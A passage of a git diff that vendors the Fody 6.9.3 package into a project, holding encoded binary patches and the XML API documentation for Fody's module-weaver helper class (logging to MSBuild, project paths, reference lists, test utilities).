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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml new file mode 100644 index 0000000..958b7bf --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml @@ -0,0 +1,293 @@ + + + + FodyHelpers + + + +

+ Base class for module weavers. + + + + + The full element XML from FodyWeavers.xml. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with level + + + + + Handler for writing a log entry at a specific level. + + + + + Write a warning to MSBuild. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Handler for writing a warning. + + + + + Handler for writing a warning at a specific point in the code + + + + + Write an error to MSBuild. + + + + + Write an error to MSBuild and use for the file and line information. + + + + + Write a error to MSBuild and use for the file and line information. + + + + + Handler for writing an error. + + + + + Handler for writing an error at a specific point in the code. + + + + + Handler for resolving s. + + + + + The current s. + + + + + An instance of for processing. + + + + + Commonly used s. + + + + + The full path of the target assembly. + + + + + The full directory path of the target project. + A copy of $(MSBuildProjectDirectory). + + + + + The full file path of the target project. + A copy of $(MSBuildProjectFullPath). + + + + + The full directory path of the XML documentation file, + if generating the documentation file is enabled in the project. + A copy of @(DocFileItem->'%(FullPath)'). + + + + + The full directory path of the current weaver. + + + + + The full directory path of the current solution. + A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL + + + + + A semicolon delimited string that contains + all the references for the target project. + A copy of the contents of the @(ReferencePath). + + + + + A list of all the references marked as copy-local. + A copy of the contents of the @(ReferenceCopyLocalPaths). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build. + + + + + A list of all the runtime references marked as copy-local. + A copy of the contents of the @(RuntimeCopyLocalItems). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build. + + + + + A list of all the msbuild constants. + A copy of the contents of the $(DefineConstants). + + + + + Called when the weaver is executed. + + + + + Called when a request to cancel the build occurs. + + + + + Return a list of assembly names for scanning. + Used as a list for . + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Called after all weaving has occurred and the module has been saved. + + + + + Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed) + should be removed by Fody after a successful execution + + + + + Abstraction for the MSBuild MessageImportance. + + + + + Defaults for when writing to and . + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Decompile assemblies using ildasm.exe. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Verifies assemblies using peverify.exe. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Uses to derive the current directory. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Replacement for . + + + + diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll new file mode 100644 index 0000000000000000000000000000000000000000..dcaf53b34c060b43ee9804468bd4b17cff227ebc GIT binary patch literal 62976 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 